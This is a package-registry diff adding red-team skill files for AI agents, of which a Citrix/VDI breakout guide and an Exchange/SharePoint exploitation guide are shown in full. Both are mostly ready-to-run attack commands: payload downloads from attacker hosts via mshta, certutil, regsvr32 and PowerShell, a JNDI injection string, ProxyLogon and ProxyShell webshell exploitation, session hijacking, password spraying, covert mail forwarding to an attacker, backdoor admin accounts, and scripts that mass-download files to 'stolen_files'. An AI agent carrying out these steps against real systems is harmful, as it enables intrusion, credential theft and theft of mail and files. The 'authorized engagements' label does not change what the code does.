rtexit-method 0.1.5 → 0.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-adfs/SKILL.md +209 -0
- package/packaged-assets/.agents/skills/rt-azure-ad/SKILL.md +315 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-citrix-vdi/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-exchange-sharepoint/SKILL.md +256 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-redteam-infra/SKILL.md +333 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-traffic-analysis/SKILL.md +283 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,249 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-citrix-vdi
|
|
3
|
+
description: "Citrix and VDI breakout skill for authorized engagements. Citrix receiver dialog box escape, file manager breakout, print dialog abuse, URL handler exploitation, Citrix StoreFront enumeration, Citrix ADC (NetScaler) exploitation, VMware Horizon breakout, RDS/RemoteApp escape, and pivoting from VDI to internal network. Use when engagement scope includes Citrix published applications, VDI environments, or thin client deployments."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-citrix-vdi — Citrix & VDI Breakout
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Citrix and VDI environments are designed to give users access to applications without full desktop access. Breakout techniques find gaps in application whitelisting that allow launching unauthorized processes, accessing the underlying OS, or pivoting to the internal network.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Citrix Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Find Citrix infrastructure
|
|
18
|
+
nmap -sV -p 443,8080,1494,2598,80 TARGET_RANGE
|
|
19
|
+
# 1494 = Citrix ICA protocol
|
|
20
|
+
# 2598 = Citrix CGP (session reliability)
|
|
21
|
+
# 443 = Citrix Gateway / StoreFront (HTTPS)
|
|
22
|
+
|
|
23
|
+
# Enumerate StoreFront (web interface)
|
|
24
|
+
curl https://citrix.corp.com/Citrix/StoreWeb/
|
|
25
|
+
# Look for: published application list, authentication methods
|
|
26
|
+
|
|
27
|
+
# Check for NetScaler (Citrix ADC)
|
|
28
|
+
curl -I https://citrix.corp.com/
|
|
29
|
+
# X-Citrix-Application header = NetScaler
|
|
30
|
+
|
|
31
|
+
# CVE-2019-19781 (NetScaler RCE — still found in old installs)
|
|
32
|
+
curl -v "https://NETSCALER_IP/vpn/../vpns/cfg/smb.conf"
|
|
33
|
+
# If returns config file → vulnerable
|
|
34
|
+
|
|
35
|
+
# Exploit CVE-2019-19781
|
|
36
|
+
python3 citrix_rce.py --host NETSCALER_IP --cmd "id"
|
|
37
|
+
# github.com/trustedsec/cve-2019-19781
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Published Application Breakout
|
|
43
|
+
|
|
44
|
+
### Dialog Box Techniques
|
|
45
|
+
|
|
46
|
+
```
|
|
47
|
+
TECHNIQUE 1: File Open/Save Dialog → Explorer
|
|
48
|
+
- In published app: File → Open OR File → Save As
|
|
49
|
+
- Dialog box opens → navigate to C:\Windows\System32\
|
|
50
|
+
- Type in filename field: cmd.exe → press Enter → cmd.exe launches
|
|
51
|
+
|
|
52
|
+
TECHNIQUE 2: Print Dialog → Run
|
|
53
|
+
- File → Print → Print to PDF → Browse
|
|
54
|
+
- In save dialog → address bar type: \\ATTACKER_IP\share
|
|
55
|
+
(triggers SMB auth) OR type C:\Windows\System32\cmd.exe
|
|
56
|
+
|
|
57
|
+
TECHNIQUE 3: About Box → Help → Browser
|
|
58
|
+
- Help → About → click hyperlink in about box
|
|
59
|
+
- Default browser opens (Internet Explorer often)
|
|
60
|
+
- IE address bar: C:\Windows\System32\cmd.exe
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Sticky Keys / Accessibility Breakout
|
|
64
|
+
|
|
65
|
+
```powershell
|
|
66
|
+
# If you can reach the lock screen or accessibility menu:
|
|
67
|
+
# Press Shift 5 times → Sticky Keys dialog
|
|
68
|
+
# Click "Go to Ease of Access Center" → opens IE/Edge
|
|
69
|
+
# Address bar → cmd.exe
|
|
70
|
+
|
|
71
|
+
# Task Manager breakout (if Ctrl+Alt+Del available)
|
|
72
|
+
# Ctrl+Alt+Del → Task Manager → File → Run New Task
|
|
73
|
+
# Type: cmd.exe ✓ → shell
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### URL Handler Abuse
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
# In browser within published app (if available):
|
|
80
|
+
# Address bar tricks:
|
|
81
|
+
|
|
82
|
+
file:///C:/Windows/System32/cmd.exe
|
|
83
|
+
\\ATTACKER_IP\share (triggers file dialog)
|
|
84
|
+
|
|
85
|
+
# If Office is published:
|
|
86
|
+
# Insert → Hyperlink → type: cmd.exe → click link → spawns cmd
|
|
87
|
+
|
|
88
|
+
# PowerPoint: Insert → Action → Run Program → cmd.exe
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Phase 3 — Escape from Restricted Shell / AppLocker
|
|
94
|
+
|
|
95
|
+
```powershell
|
|
96
|
+
# Once in cmd.exe — likely AppLocker restricted
|
|
97
|
+
# Can't run .exe from Downloads → use trusted paths
|
|
98
|
+
|
|
99
|
+
# LOLBAS from trusted locations (AppLocker usually allows System32)
|
|
100
|
+
C:\Windows\System32\mshta.exe http://ATTACKER/payload.hta
|
|
101
|
+
C:\Windows\System32\wscript.exe \\ATTACKER\share\payload.vbs
|
|
102
|
+
C:\Windows\System32\certutil.exe -urlcache -split -f http://ATTACKER/nc.exe C:\Temp\nc.exe
|
|
103
|
+
|
|
104
|
+
# PowerShell (if not blocked)
|
|
105
|
+
powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
|
|
106
|
+
|
|
107
|
+
# MSBuild (AppLocker bypass — trusted Microsoft binary)
|
|
108
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
|
|
109
|
+
|
|
110
|
+
# InstallUtil
|
|
111
|
+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.dll
|
|
112
|
+
|
|
113
|
+
# Regsvr32 (squiblydoo)
|
|
114
|
+
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## Phase 4 — Citrix-Specific Privilege Escalation
|
|
120
|
+
|
|
121
|
+
```powershell
|
|
122
|
+
# Check which user account runs published apps
|
|
123
|
+
whoami
|
|
124
|
+
# Often: domain user or service account
|
|
125
|
+
|
|
126
|
+
# Check Citrix session info
|
|
127
|
+
qwinsta # List sessions
|
|
128
|
+
query session # Active sessions
|
|
129
|
+
|
|
130
|
+
# Find other users' sessions on same Citrix server
|
|
131
|
+
query user /server:CITRIX_SERVER
|
|
132
|
+
|
|
133
|
+
# Session hijacking (if admin)
|
|
134
|
+
tscon TARGET_SESSION_ID /dest:CURRENT_SESSION_ID /password:""
|
|
135
|
+
# Takes over another user's session
|
|
136
|
+
|
|
137
|
+
# Check for sensitive data in Citrix profile
|
|
138
|
+
# Citrix redirects: Desktop, Documents, Downloads to UNC paths
|
|
139
|
+
net use # See mapped drives
|
|
140
|
+
# Often: H:\ = home drive, G:\ = group share → company data
|
|
141
|
+
|
|
142
|
+
# Keylogging other users' sessions (SYSTEM required)
|
|
143
|
+
# Use existing C2 capabilities once SYSTEM is obtained
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## Phase 5 — VMware Horizon Breakout
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# VMware Horizon (VDI platform — alternative to Citrix)
|
|
152
|
+
# Similar breakout techniques apply
|
|
153
|
+
|
|
154
|
+
# Horizon enumeration
|
|
155
|
+
nmap -sV -p 443,8443,4172,32111 HORIZON_SERVER
|
|
156
|
+
# 4172 = PCoIP protocol
|
|
157
|
+
# 443 = Horizon Connection Server web interface
|
|
158
|
+
|
|
159
|
+
# CVE-2021-22005 (Horizon SSRF/RCE — Log4Shell related)
|
|
160
|
+
curl -X POST "https://HORIZON_IP/logon" \
|
|
161
|
+
-H "X-Forwarded-For: \${jndi:ldap://ATTACKER_IP/exploit}"
|
|
162
|
+
|
|
163
|
+
# Horizon client breakout
|
|
164
|
+
# Same dialog box techniques as Citrix apply
|
|
165
|
+
# VMware Tools on guest → check for shared folders
|
|
166
|
+
net share # List shared resources
|
|
167
|
+
# vmware-tools may expose host filesystem
|
|
168
|
+
|
|
169
|
+
# Remote Desktop Session Host (RDSH) breakout
|
|
170
|
+
# Similar to Citrix — look for:
|
|
171
|
+
# Task Manager → File → Run
|
|
172
|
+
# Explorer via dialog boxes
|
|
173
|
+
# Accessibility tools at lock screen
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Phase 6 — Pivot from VDI to Internal Network
|
|
179
|
+
|
|
180
|
+
```powershell
|
|
181
|
+
# VDI machine is domain-joined → standard AD attacks apply
|
|
182
|
+
# From VDI shell:
|
|
183
|
+
|
|
184
|
+
# Network discovery (VDI has internal network access)
|
|
185
|
+
ipconfig /all # Check all interfaces
|
|
186
|
+
arp -a # Internal hosts
|
|
187
|
+
|
|
188
|
+
# Port scan internal from VDI (often unrestricted internally)
|
|
189
|
+
# PowerShell port scan (no nmap needed)
|
|
190
|
+
1..1024 | ForEach-Object {
|
|
191
|
+
$socket = New-Object Net.Sockets.TcpClient
|
|
192
|
+
$connect = $socket.BeginConnect("10.10.10.1", $_, $null, $null)
|
|
193
|
+
Start-Sleep -Milliseconds 50
|
|
194
|
+
if ($socket.Connected) { Write-Host "OPEN: $_" }
|
|
195
|
+
$socket.Close()
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
# Credential hunting on VDI
|
|
199
|
+
# Users store passwords in browser, sticky notes, files
|
|
200
|
+
Get-ChildItem C:\Users -Recurse -Include "*.txt","*.xlsx","*.docx","password*","creds*" 2>$null
|
|
201
|
+
# Browser saved passwords
|
|
202
|
+
.\SharpChrome.exe logins
|
|
203
|
+
|
|
204
|
+
# SMB lateral movement from VDI to internal servers
|
|
205
|
+
crackmapexec smb 10.10.10.0/24 -u user -p password
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Phase 7 — Citrix ADC (NetScaler) Exploitation
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# NetScaler = Citrix load balancer / gateway — high value target
|
|
214
|
+
|
|
215
|
+
# CVE-2023-3519 (Unauthenticated RCE — critical, 2023)
|
|
216
|
+
# Affects: NetScaler ADC and Gateway before specific versions
|
|
217
|
+
curl -v "https://NETSCALER_IP/gwtest/formssso?event=start&target=http://ATTACKER:8080/$(python3 -c 'print(\"A\"*1024)')"
|
|
218
|
+
|
|
219
|
+
# Password spray against NetScaler Gateway
|
|
220
|
+
# Often exposed to internet → spray corporate credentials
|
|
221
|
+
hydra -L users.txt -p 'Summer2024!' TARGET_IP https-post-form \
|
|
222
|
+
"/nf/auth/doAuthentication.do:login=^USER^&passwd=^PASS^&StateContext=:Password:"
|
|
223
|
+
|
|
224
|
+
# Extract NetScaler config (if admin access)
|
|
225
|
+
# Contains: LDAP service account creds, VPN config, SSL certs
|
|
226
|
+
show ns config # NetScaler CLI
|
|
227
|
+
cat /nsconfig/ns.conf # Config file (has passwords in cleartext sometimes)
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## Skill Levels
|
|
233
|
+
|
|
234
|
+
**BEGINNER:** Dialog box breakout to cmd.exe · File Open/Save escape · Task Manager run
|
|
235
|
+
|
|
236
|
+
**INTERMEDIATE:** AppLocker bypass via LOLBAS · VDI network discovery and pivoting · Browser credential extraction
|
|
237
|
+
|
|
238
|
+
**ADVANCED:** Session hijacking · NetScaler CVE exploitation · VMware Horizon RCE
|
|
239
|
+
|
|
240
|
+
**EXPERT:** Citrix ADC full compromise · Custom AppLocker bypass chains · VDI persistence via COM hijacking
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## References
|
|
245
|
+
|
|
246
|
+
- CVE-2019-19781: https://github.com/trustedsec/cve-2019-19781
|
|
247
|
+
- CVE-2023-3519: https://www.rapid7.com/blog/post/2023/07/18/etr-cve-2023-3519/
|
|
248
|
+
- Citrix breakout techniques: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-environments/
|
|
249
|
+
- MITRE T1548: https://attack.mitre.org/techniques/T1548/
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exchange-sharepoint
|
|
3
|
+
description: "Microsoft Exchange and SharePoint exploitation skill for authorized engagements. Exchange Server privilege escalation (CVE-2021-26855 ProxyLogon, ProxyShell), OWA credential harvesting, Exchange SSRF chains, PowerShell Exchange abuse for email access, SharePoint SSRF and RCE, SharePoint sensitive data discovery, OneDrive enumeration via Graph API, and post-compromise email/file access. Use when Exchange or SharePoint servers are in scope."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exchange-sharepoint — Exchange & SharePoint Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Exchange and SharePoint servers are high-value targets — they hold email, files, and often have privileged service accounts. On-premises Exchange has had critical RCE/SSRF vulnerabilities (ProxyLogon, ProxyShell) and SharePoint has frequent SSRF and deserialization issues.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Find Exchange servers
|
|
18
|
+
nmap -sV -p 25,443,587,993,995,8443 TARGET_RANGE
|
|
19
|
+
# 25 = SMTP, 443 = OWA/ECP/EWS/ActiveSync
|
|
20
|
+
|
|
21
|
+
# Exchange version fingerprinting
|
|
22
|
+
curl -s -k -I "https://EXCHANGE_IP/owa/" | grep -i "X-OWA-Version\|Server"
|
|
23
|
+
|
|
24
|
+
# Check exposed endpoints
|
|
25
|
+
for endpoint in "/owa/" "/ecp/" "/ews/" "/autodiscover/" "/mapi/" "/oab/" "/rpc/" "/Microsoft-Server-ActiveSync"; do
|
|
26
|
+
code=$(curl -k -s -o /dev/null -w "%{http_code}" "https://EXCHANGE_IP$endpoint")
|
|
27
|
+
echo "$code $endpoint"
|
|
28
|
+
done
|
|
29
|
+
|
|
30
|
+
# Find SharePoint
|
|
31
|
+
nmap -sV -p 80,443,8080 TARGET_RANGE
|
|
32
|
+
curl -k -I "https://SHAREPOINT_IP/_layouts/15/start.aspx#/"
|
|
33
|
+
# X-SharePointHealthScore header = SharePoint
|
|
34
|
+
|
|
35
|
+
# SharePoint version
|
|
36
|
+
curl -k "https://SHAREPOINT_IP/_vti_pvt/service.cnf"
|
|
37
|
+
curl -k "https://SHAREPOINT_IP/_vti_bin/sites.asmx"
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — ProxyLogon (CVE-2021-26855) — Exchange RCE
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# ProxyLogon: SSRF → authentication bypass → RCE
|
|
46
|
+
# Affects: Exchange 2013/2016/2019 before March 2021 patches
|
|
47
|
+
# Still found in environments that haven't patched
|
|
48
|
+
|
|
49
|
+
# Check vulnerability
|
|
50
|
+
curl -k -s "https://EXCHANGE_IP/ecp/y.js" \
|
|
51
|
+
-H "Cookie: X-BEResource=localhost~1942062522" | head -5
|
|
52
|
+
# "function" in response = PATCHED, error = VULNERABLE
|
|
53
|
+
|
|
54
|
+
# Exploit with publicly available PoC
|
|
55
|
+
git clone https://github.com/hausec/ProxyLogon
|
|
56
|
+
python3 proxylogon.py -t EXCHANGE_IP -e attacker@corp.com
|
|
57
|
+
# Drops webshell at: https://EXCHANGE_IP/owa/auth/shell.aspx
|
|
58
|
+
|
|
59
|
+
# Access webshell
|
|
60
|
+
curl -k "https://EXCHANGE_IP/owa/auth/shell.aspx?cmd=whoami"
|
|
61
|
+
# Output: NT AUTHORITY\SYSTEM
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
## Phase 3 — ProxyShell (CVE-2021-34473/34523/31207) — Exchange RCE
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# ProxyShell: Three CVEs chained → unauthenticated RCE
|
|
70
|
+
# Affects: Exchange 2013/2016/2019 before July 2021 patches
|
|
71
|
+
|
|
72
|
+
# Check vulnerability
|
|
73
|
+
curl -k "https://EXCHANGE_IP/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
|
|
74
|
+
# 200 OK = potentially vulnerable
|
|
75
|
+
|
|
76
|
+
# Exploit
|
|
77
|
+
git clone https://github.com/dmaasland/proxyshell-poc
|
|
78
|
+
pip3 install requests
|
|
79
|
+
python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.com
|
|
80
|
+
|
|
81
|
+
# Or: Metasploit
|
|
82
|
+
use exploit/windows/http/exchange_proxyshell_rce
|
|
83
|
+
set RHOSTS EXCHANGE_IP
|
|
84
|
+
set EMAIL admin@corp.com
|
|
85
|
+
run
|
|
86
|
+
# → SYSTEM shell on Exchange server
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Phase 4 — Exchange Post-Compromise
|
|
92
|
+
|
|
93
|
+
```powershell
|
|
94
|
+
# After RCE or with Exchange admin credentials
|
|
95
|
+
|
|
96
|
+
# Dump all mailboxes (Exchange admin PowerShell)
|
|
97
|
+
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn
|
|
98
|
+
Get-Mailbox -ResultSize Unlimited | Export-Mailbox -DeliveryFormat EML -DeliveryPath C:\Temp\Mailboxes\
|
|
99
|
+
|
|
100
|
+
# Search all mailboxes for keywords
|
|
101
|
+
Search-Mailbox -SearchQuery "password OR credential OR secret" -SearchDumpsterOnly $false -ResultSize Unlimited -TargetMailbox "admin@corp.com" -TargetFolder "SearchResults"
|
|
102
|
+
|
|
103
|
+
# Access specific user's mailbox (as Exchange admin)
|
|
104
|
+
# Exchange Web Services (EWS)
|
|
105
|
+
$cred = Get-Credential
|
|
106
|
+
$exchangeUrl = "https://EXCHANGE_IP/EWS/Exchange.asmx"
|
|
107
|
+
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
|
|
108
|
+
$service.Credentials = $cred
|
|
109
|
+
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, "victim@corp.com")
|
|
110
|
+
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
|
|
111
|
+
$view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(50)
|
|
112
|
+
$inbox.FindItems($view) | Select-Object Subject, DateTimeReceived, From
|
|
113
|
+
|
|
114
|
+
# Forward all incoming email (persistence)
|
|
115
|
+
Set-Mailbox victim@corp.com -DeliverToMailboxAndForward $true -ForwardingSmtpAddress attacker@external.com
|
|
116
|
+
# All future emails silently forwarded to attacker
|
|
117
|
+
|
|
118
|
+
# Create new Exchange admin (persistence)
|
|
119
|
+
New-Mailbox -Name "IT Support" -Alias "itsupport" -UserPrincipalName "itsupport@corp.com" -Password (ConvertTo-SecureString "Password1!" -AsPlainText -Force)
|
|
120
|
+
Add-RoleGroupMember "Organization Management" -Member itsupport
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## Phase 5 — OWA Credential Harvesting
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
# OWA (Outlook Web Access) — often internet-facing
|
|
129
|
+
# Password spray with domain credentials
|
|
130
|
+
|
|
131
|
+
# Spray OWA
|
|
132
|
+
python3 ruler.py --domain corp.com --users users.txt --password 'Summer2024!' spray --verbose
|
|
133
|
+
# github.com/sensepost/ruler
|
|
134
|
+
|
|
135
|
+
# Or with MailSniper
|
|
136
|
+
Import-Module MailSniper.ps1
|
|
137
|
+
Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
|
|
138
|
+
-ExchHostname mail.corp.com \
|
|
139
|
+
-UserList users.txt -Password 'Summer2024!'
|
|
140
|
+
|
|
141
|
+
# OWA GAL (Global Address List) enumeration — find all email addresses
|
|
142
|
+
Get-GlobalAddressList -AccessToken $token
|
|
143
|
+
# Returns all internal email addresses — useful for targeting
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## Phase 6 — SharePoint Exploitation
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# SharePoint SSRF (CVE-2019-0604 — old but still found)
|
|
152
|
+
curl -k "https://SHAREPOINT_IP/_layouts/15/Picker.aspx" \
|
|
153
|
+
-d "__VIEWSTATE=&__EVENTVALIDATION=&__EVENTTARGET=&__EVENTARGUMENT=&ctl00%24PlaceHolderMain%24queryControl%24txtQuerySearch=&ctl00%24PlaceHolderMain%24btnSearch=Search"
|
|
154
|
+
|
|
155
|
+
# CVE-2020-0932 SharePoint RCE (deserialization)
|
|
156
|
+
# Requires low-priv authenticated user
|
|
157
|
+
python3 sharepoint_rce.py --url https://SHAREPOINT_IP --user user@corp.com --password Password1
|
|
158
|
+
|
|
159
|
+
# SharePoint sensitive file discovery
|
|
160
|
+
# Search for password files, config files
|
|
161
|
+
curl -k "https://SHAREPOINT_IP/sites/IT/_api/search/query?querytext='password+filetype:xlsx+OR+filetype:docx'" \
|
|
162
|
+
-H "Accept: application/json"
|
|
163
|
+
|
|
164
|
+
# Download all files from SharePoint site
|
|
165
|
+
# Using SharePoint REST API
|
|
166
|
+
python3 << 'EOF'
|
|
167
|
+
import requests
|
|
168
|
+
|
|
169
|
+
base_url = "https://sharepoint.corp.com/sites/Internal"
|
|
170
|
+
session = requests.Session()
|
|
171
|
+
session.auth = ("user@corp.com", "Password1")
|
|
172
|
+
|
|
173
|
+
# Get all files in root
|
|
174
|
+
r = session.get(f"{base_url}/_api/web/GetFolderByServerRelativeUrl('/')/Files",
|
|
175
|
+
headers={"Accept": "application/json"})
|
|
176
|
+
for file in r.json()['value']:
|
|
177
|
+
print(file['Name'], file['ServerRelativeUrl'])
|
|
178
|
+
# Download each file
|
|
179
|
+
content = session.get(f"{base_url}/_api/web/GetFileByServerRelativeUrl('{file['ServerRelativeUrl']}')/$value")
|
|
180
|
+
open(file['Name'], 'wb').write(content.content)
|
|
181
|
+
EOF
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7 — Microsoft Graph API (O365 SharePoint/OneDrive)
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# After obtaining OAuth token (from device code phishing, consent grant, etc.)
|
|
190
|
+
# Access all M365 data via Graph API
|
|
191
|
+
|
|
192
|
+
# List all SharePoint sites
|
|
193
|
+
curl "https://graph.microsoft.com/v1.0/sites?search=*" \
|
|
194
|
+
-H "Authorization: Bearer $TOKEN"
|
|
195
|
+
|
|
196
|
+
# Search SharePoint for sensitive keywords
|
|
197
|
+
curl "https://graph.microsoft.com/v1.0/search/query" \
|
|
198
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
199
|
+
-H "Content-Type: application/json" \
|
|
200
|
+
-d '{
|
|
201
|
+
"requests": [{
|
|
202
|
+
"entityTypes": ["driveItem"],
|
|
203
|
+
"query": {"queryString": "password OR credentials OR secret"},
|
|
204
|
+
"fields": ["name","webUrl","lastModifiedDateTime"]
|
|
205
|
+
}]
|
|
206
|
+
}'
|
|
207
|
+
|
|
208
|
+
# Download OneDrive files
|
|
209
|
+
# Get user's OneDrive root
|
|
210
|
+
curl "https://graph.microsoft.com/v1.0/users/victim@corp.com/drive/root/children" \
|
|
211
|
+
-H "Authorization: Bearer $TOKEN"
|
|
212
|
+
|
|
213
|
+
# Download all files recursively
|
|
214
|
+
python3 << 'EOF'
|
|
215
|
+
import requests, os
|
|
216
|
+
|
|
217
|
+
token = "ACCESS_TOKEN"
|
|
218
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
219
|
+
base = "https://graph.microsoft.com/v1.0"
|
|
220
|
+
|
|
221
|
+
def download_folder(path, local_path):
|
|
222
|
+
r = requests.get(f"{base}{path}/children", headers=headers)
|
|
223
|
+
os.makedirs(local_path, exist_ok=True)
|
|
224
|
+
for item in r.json().get('value', []):
|
|
225
|
+
if 'folder' in item:
|
|
226
|
+
download_folder(f"/drives/{item['parentReference']['driveId']}/items/{item['id']}", f"{local_path}/{item['name']}")
|
|
227
|
+
else:
|
|
228
|
+
content = requests.get(item['@microsoft.graph.downloadUrl'])
|
|
229
|
+
open(f"{local_path}/{item['name']}", 'wb').write(content.content)
|
|
230
|
+
print(f"Downloaded: {item['name']}")
|
|
231
|
+
|
|
232
|
+
download_folder("/users/victim@corp.com/drive/root", "./stolen_files")
|
|
233
|
+
EOF
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
---
|
|
237
|
+
|
|
238
|
+
## Skill Levels
|
|
239
|
+
|
|
240
|
+
**BEGINNER:** OWA password spray · SharePoint sensitive file discovery · Graph API email access
|
|
241
|
+
|
|
242
|
+
**INTERMEDIATE:** ProxyLogon/ProxyShell exploitation · EWS impersonation for mailbox access · SharePoint REST API enumeration
|
|
243
|
+
|
|
244
|
+
**ADVANCED:** Email forwarding persistence · Full mailbox export · CVE chaining for unauthenticated RCE
|
|
245
|
+
|
|
246
|
+
**EXPERT:** Exchange transport agent backdoor · SharePoint webpart backdoor · Hybrid Exchange → on-prem AD escalation
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## References
|
|
251
|
+
|
|
252
|
+
- ProxyLogon: https://proxylogon.com
|
|
253
|
+
- ProxyShell: https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
|
|
254
|
+
- Ruler (Exchange): https://github.com/sensepost/ruler
|
|
255
|
+
- Graph API: https://docs.microsoft.com/en-us/graph/overview
|
|
256
|
+
- MITRE T1114: https://attack.mitre.org/techniques/T1114/
|